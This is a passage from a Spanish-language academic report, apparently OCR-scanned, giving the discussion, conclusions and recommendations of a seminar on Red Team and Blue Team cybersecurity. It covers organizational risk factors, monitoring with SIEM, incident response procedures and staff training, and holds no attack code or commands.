cuales pueden ser fundamentales para evitar la escalada del ataque y minimizar su propagacion
dentro de la red. Asi mismo el analisis del trafico de red y los registros del sistema son una
fuente valiosa de inteligencia para comprender el comportamiento malicioso y responder de
manera eficaz.

Uno de los aspectos mds significativos identificados fue el valor del trabajo coordinado
entre equipos ofensivos y defensivos. Mientras el Red Team revela fallos que podrian pasar
desapercibidos en auditorias tradicionales, el Blue Team permite evaluar la capacidad real de
contencidn, respuesta y resiliencia ante incidentes. Esta dualidad fomenta una vision holistica de
la seguridad informatica, en la que no solo se reacciona ante amenazas, sino que se anticipan y

mitigan de forma proactiva.
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Adicionalmente, se reconocio que las vulnerabilidades no pueden ser analizadas de forma
aislada, ya que estan ligadas a variables organizacionales, como son: la falta de politicas de
actualizacion, la carencia de planes de respuesta, o la escasa concienciacion del personal (Bulai
et al., 2019, p. 38). En muchos casos, los incidentes de seguridad no son causados por una falla
técnica solamente, sino por una combinacion de factores humanos, procedimentales y
tecnologicos. Por eso una estrategia de ciberseguridad robusta no puede depender unicamente del
despliegue de herramientas automatizadas o de configuraciones técnicas puntuales, sino que debe
articularse con una cultura organizacional orientada a la prevencion, la gestion del riesgo y la
mejora continua.

En este contexto, se hace indispensable el disefio de planes de formacion y sensibilizacion
para todos los actores involucrados, desde el personal operativo hasta los niveles directivos,
garantizando asi que las decisiones tecnologicas vayan acompanadas de una comprension clara
de las amenazas y sus posibles impactos. De igual forma, se resalta también, que la ausencia de
procedimientos formalizados para la respuesta ante incidentes limita la capacidad de reaccion
ante situaciones criticas, lo cual puede agravar las consecuencias de una brecha de seguridad. Por
tanto, el andlisis integral de las vulnerabilidades debe contemplar no solo el aspecto técnico, sino
también el organizacional, legal y estratégico.

Este enfoque holistico se traduce en la necesidad de adoptar modelos de gobernanza en
ciberseguridad que integren los aportes tanto del Red Team como del Blue Team, permitiendo
una evaluacion constante del estado de seguridad de la organizacidon desde una perspectiva
realista y dinamica. Solo asi es posible construir infraestructuras resilientes, capaces de adaptarse
a un entorno de amenazas en constante evolucion y de enfrentar de manera efectiva los desafios

actuales en materia de proteccion de la informacion y continuidad del negocio.



73

Conclusiones
El desarrollo de las cinco etapas del Seminario Especializado: Equipos Estratégicos en
Ciberseguridad: Red Team & Blue Team permite una comprension integral del papel que
desempefian los equipos ofensivos y defensivos en la proteccion de infraestructuras tecnologicas.
Desde el analisis normativo y ético hasta la ejecucion practica de ejercicios de ataque y defensa,
se logra interiorizar que la ciberseguridad no puede ser concebida unicamente como una funcién
técnica, sino como un proceso estratégico que requiere planificacion, coordinacion y mejora

continua.

Las actividades ofensivas demuestran que el Red Team, mediante metodologias de
pentesting estructuradas y el uso de herramientas especializadas como Metasploit y Nmap, es
capaz de simular ataques reales y revelar debilidades criticas en sistemas aparentemente seguros.
Esta capacidad diagnoéstica no solo permite detectar vulnerabilidades, sino también anticiparse a
vectores de ataque que podrian ser explotados por actores maliciosos con fines destructivos o
delictivos. Del otro lado, el Blue Team desempefia una funcion vital al contener las amenazas,
restaurar servicios y aplicar controles correctivos que refuercen la postura de seguridad
organizacional. Esta labor requiere conocimientos técnicos solidos, pero también habilidades
analiticas, capacidad de respuesta y uso de tecnologias como los sistemas SIEM, firewalls y

herramientas de contencion como Fail2Ban o pfSense.

Desde un enfoque de ciberseguridad integral, se concluye que el verdadero
fortalecimiento de una organizacion no solo depende de contar con herramientas o talentos
aislados, sino de consolidar un ecosistema donde ambos equipos cooperen estratégicamente,

compartan inteligencia y ajusten sus practicas con base en la retroalimentacion constante.
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La adopcion de marcos de gestion del riesgo, regulaciones vigentes y buenas practicas
internacionales por parte de las organizaciones, resulta esencial, entendiendo que la seguridad no

es un estado, sino un proceso dinamico.

Se resalta la necesidad de fomentar una cultura organizacional centrada en la seguridad
de la informacion, entendida no solo como un conjunto de controles técnicos, sino como un
compromiso transversal que garantice la confidencialidad, la integridad, la disponibilidad y la
autenticidad de los activos digitales. Estos pilares fundamentales deben ser sostenidos mediante
la formacion continua del personal, la concienciacion sobre riesgos emergentes, y el respaldo
activo de la alta direccion. Solo asi se podran construir entornos resilientes y preparados frente al

panorama cada vez mas complejo y dindmico de amenazas cibernéticas.
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Recomendaciones
En primer lugar, se sugiere la adopcion de un enfoque proactivo en la gestion de riesgos, que no
se limite a reaccionar ante incidentes ya ocurridos, sino que anticipe escenarios de amenaza
mediante simulaciones controladas, pruebas de penetracion periddicas y ejercicios de Red Team.
Esta practica permite identificar debilidades ocultas en los sistemas, evaluar la eficacia de los

controles existentes y priorizar acciones correctivas con base en el nivel de exposicion real.

Desde la perspectiva del Blue Team, se recomienda establecer un sistema continuo de
monitoreo, basado en tecnologias como los SIEM (Security Information and Event
Management), que permitan detectar patrones anomalos, correlacionar eventos de seguridad y
generar alertas tempranas ante comportamientos sospechosos. Este monitoreo debe
complementarse con la segmentacion de redes, el endurecimiento de servicios, la gestion de
parches y actualizaciones, asi como la implementacion de politicas de acceso minimo necesario y

autenticacion multifactor.

Otra recomendacioén clave es la estandarizacion de procedimientos operativos para la
respuesta a incidentes, incluyendo guias de actuacion, roles y responsabilidades, protocolos de
comunicacion y mecanismos de reporte. Estos procedimientos deben actualizarse periddicamente

y probarse mediante simulacros para asegurar su eficacia en situaciones reales.

Se enfatiza la importancia de la formacion continua del personal, tanto técnico como
administrativo, en temas de ciberseguridad. La concienciacion de los usuarios, la capacitacion en
buenas préacticas y el fomento de una cultura de seguridad son elementos esenciales para reducir
el factor de riesgo humano, que sigue siendo uno de los vectores mas explotados por los

atacantes. Haciendo uso de este tipo de estrategia multidimensional, que combine herramientas,



procedimientos y cultura organizacional, es posible construir defensas resilientes frente al

ecosistema actual de amenazas.
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